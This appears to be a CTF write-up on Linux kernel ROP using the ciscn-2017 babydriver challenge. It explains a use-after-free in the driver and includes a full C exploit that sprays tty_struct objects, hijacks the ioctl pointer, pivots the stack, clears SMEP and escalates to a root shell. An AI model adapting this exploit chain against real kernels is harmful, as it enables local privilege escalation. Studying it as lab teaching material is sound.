Posts List
  1. Analyse
  2. EXP

ROP in Linux Kernel

Today We are going to ROP in Linux Kernel. Using ciscn-2017 Babydriver for example.

Analyse

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_to_user(buffer);
result = v6;
}
return result;
}

Babyread can make us get data from Kernel at an global address

1
2
3
.bss:0000000000000D90 babydev_struct  babydevice_t <?>        ; DATA XREF: babyrelease+6↑r
.bss:0000000000000D90 ; babyopen+26↑w ...
.bss:0000000000000D90 _bss ends
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx
ssize_t result; // rax
ssize_t v6; // rbx

_fentry__(filp, buffer);
if ( !babydev_struct.device_buf )
return -1LL;
result = -2LL;
if ( babydev_struct.device_buf_len > v4 )
{
v6 = v4;
copy_from_user();
result = v6;
}
return result;
}

Babywrite gets data from User at the same address

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n");
result = 0LL;
}
else
{
printk(&unk_2EB);
result = -22LL;
}
return result;
}

Babyioctl frees the struct and creates a new one, the size of which is controled by User.

1
2
3
4
5
6
7
8
int __fastcall babyopen(inode *inode, file *filp)
{
_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n");
return 0;
}
1
2
3
4
5
6
7
int __fastcall babyrelease(inode *inode, file *filp)
{
_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n");
return 0;
}

Babyopen and babyrelease just create and free the struct respectively.

Since the struct is stored in a global address, we can trigger UAF by doing

1
2
3
4
int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);
close(fd1);

After ioctl frees the struct, we still control the content of it through fd2.

EXP

Since we got UAF vulnerability, we can make some useful structs in Kernel created at the UAF address, then change it through fd2 to control the program execution flow.

1
2
3
4
5
6
7
8
9
struct tty_struct {
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8
int index;
....
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};

At offset 24 of tty_struct, there is a struct tty_operations pointer. There are a lot of function pointers defined in it, such as ioctl. Therefor, if we fake a tty_operations struct, we could control the program execution flow through tty->ioctl.

Since SMEP is opened, we need to ROP to close it through writing CR4.

Since we cannot control the stack of Kernel, we need to stack pivot and put our ROPchain in User stack.

To get ropgadgets, we need to extract vmlinux from bzImage using z2x. Then we use ROPgadget to find ropgadgets.

1
2
3
z2x bzImage
ROPgadget --binary vmlinux > ropgadgets.txt
grep ': pop rdi ; ret' ropgadgets.txt

In general, we are going to do this:

  1. Get UAF
  2. Put tty_struct in it
  3. Fake ioctl pointer
  4. Stack pivot to ROP
  5. Write CR4 to close SMEP
  6. commit_creds(prepare_kernel_cred(0)) to set root
  7. swapgs & iretq -> system(‘/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>

#define TTY_STRUCT_SIZE 0x2e0
#define SPRAY_ALLOC_TIMES 0x100

int spray_fd[0x100];

/*

tty_struct:
int magic; // 4
struct kref kref; // 4
struct device *dev; // 8
struct tty_driver *driver; // 8
const struct tty_operations *ops; // 8, offset = 4 + 4 + 8 + 8 = 24
[...]

*/
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct file *filp, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
const struct file_operations *proc_fops;
};

typedef int __attribute__((regparm(3)))(*commit_creds_func)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_func)(unsigned long cred);

/* Gadgets */
commit_creds_func commit_creds = (commit_creds_func) 0xffffffff810a1420;
prepare_kernel_cred_func prepare_kernel_cred = (prepare_kernel_cred_func) 0xffffffff810a1810;
unsigned long native_write_cr4 = 0xFFFFFFFF810635B0;// mov cr4, rdi; ret
unsigned long xchgeaxesp = 0xFFFFFFFF81007808;
unsigned long poprdiret = 0xFFFFFFFF813E7D6F;
unsigned long iretq = 0xffffffff814e35ef;
unsigned long swapgs = 0xFFFFFFFF81063694;

/* status */
unsigned long user_cs, user_ss, user_eflags;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags)
:
: "memory"
);
}

void get_shell() {
system("/bin/sh");
}

void shellcode() {
commit_creds(prepare_kernel_cred(0));
}

void exploit() {
char *buf = (char*) malloc(0x1000);
char *fake_file_operations = (char*) calloc(0x1000, 1); // big enough to be file_operations
struct tty_operations *fake_tty_operations = (struct tty_operations *) malloc(sizeof(struct tty_operations));

save_stats();

memset(fake_tty_operations, 0, sizeof(struct tty_operations));
fake_tty_operations->proc_fops = &fake_file_operations;
fake_tty_operations->ioctl = (unsigned long)xchgeaxesp;

int fd1 = open("/dev/babydev", O_RDWR);
int fd2 = open("/dev/babydev", O_RDWR);
int fd;
//ioctl(fd2, 0x10001, 0xa8); // the same'11 as cred struct size
ioctl(fd2, 0x10001, TTY_STRUCT_SIZE);
write(fd2, "hello world", strlen("hello world"));
close(fd1);
fd = fd2;

// spray tty
puts("[+] Spraying buffer with tty_struct");
for (int i = 0; i < SPRAY_ALLOC_TIMES; i++) {
spray_fd[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
if (spray_fd[i] < 0) {
perror("open tty");
}
}

// now we have a tty_struct in our buffer
puts("[+] Reading buffer content from kernel buffer");
long size = read(fd, buf, 32);
if (size < 32) {
puts("[-] Reading not complete!");
printf("[-] Only %ld bytes read.\n", size);
}
puts("[+] Detecting buffer content type");
if (buf[0] != 0x01 || buf[1] != 0x54) {
puts("[-] tty_struct spray failed");
printf("[-] We should have 0x01 and 0x54, instead we got %02x %02x\n", buf[0], buf[1]);
puts("[-] Exiting...");
exit(-1);
}

puts("[+] Spray complete. Modifying function pointer");
unsigned long *temp = (unsigned long*)&buf[24];
*temp = (unsigned long)fake_tty_operations;

puts("[+] Preparing ROP chain");
unsigned long lower_address = xchgeaxesp & 0xFFFFFFFF;
unsigned long base = lower_address & ~0xfff;
printf("[+] Base address is %lx\n", base);
if (mmap(base, 0x30000, 7, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) != base) {
perror("mmap");
exit(1);
}

unsigned long rop_chain[] = {
poprdiret,
0x6f0,
native_write_cr4,
(unsigned long)shellcode,
swapgs,
base,
iretq,
(unsigned long)get_shell,
user_cs,
user_eflags,
base + 0x10000,
user_ss
};
memcpy((void*)lower_address, rop_chain, sizeof(rop_chain));

puts("[+] Writing function pointer to the driver");
long len = write(fd, buf, 32);
if (len < 0) {
perror("write");
exit(1);
}

puts("[+] Triggering");
for (int i = 0;i < 256; i++) {
ioctl(spray_fd[i], 0, 0);
}

}
int main() {
exploit();
return 0;
}

Reference: https://www.anquanke.com/post/id/86490